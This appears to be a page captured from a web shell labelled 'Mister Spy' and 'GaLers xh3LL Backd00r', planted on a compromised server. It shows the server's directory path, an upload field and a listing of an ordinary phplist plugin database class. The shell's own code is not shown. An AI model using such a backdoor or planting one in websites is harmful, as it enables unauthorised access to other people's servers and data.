Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/DB.php

<?php
/**
 * CommonPlugin for phplist
 * 
 * This file is a part of CommonPlugin.
 *
 * @category  phplist
 * @package   CommonPlugin
 * @author    Duncan Cameron
 * @copyright 2011-2012 Duncan Cameron
 * @license   http://www.gnu.org/licenses/gpl.html GNU General Public License, Version 3
 */

/**
 * This class provides an interface to the phplist database subroutines
 * 
 */
class CommonPlugin_DB {
    /*
     *    Private attributes
     */
    private $logger;

    /*
     *    Private methods
     */
    private function _query($sql) {
        /*
         * 
         */
        $level = error_reporting(0);
        $time_start = microtime(true);
        $resource = Sql_Query($sql);
        $elapsed = (microtime(true) - $time_start) * 1000;
        $this->logger->log("elapsed time $elapsed ms\n$sql", KLogger::DEBUG);
        error_reporting($level);

        if (!$resource) {
            throw new Exception('A problem with the query: ' . $sql);
        }
        return $resource;
    }
    /*
     *    Public methods
     */
    public function __construct() {
        $this->logger = CommonPlugin_Logger::instance();
    }

    public function queryInsertId($sql) {
        /*
         * 
         */
        $resource = $this->_query($sql);
        return Sql_Insert_Id();
    }

    public function queryAffectedRows($sql) {
        /*
         * 
         */
        $resource = $this->_query($sql);
        return Sql_Affected_Rows();
    }

    public function queryAll($sql) {
        /*
         * 
         */
        return new CommonPlugin_DBResultIterator($this->_query($sql));
    }

    public function queryRow($sql) {
        /*
         * 
         */
        $resource = $this->_query($sql);

        return Sql_Fetch_Assoc($resource);
    }

    public function queryOne($sql, $field) {
        /*
         * 
         */
        $row = $this->queryRow($sql);
        return $row ? $row[$field] : false;
    }

    public function queryColumn($sql, $field, $index = null) {
        /*
         * 
         */
        $iterator = $this->queryAll($sql);
        return array_column(iterator_to_array($iterator), $field, $index);
    }

}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat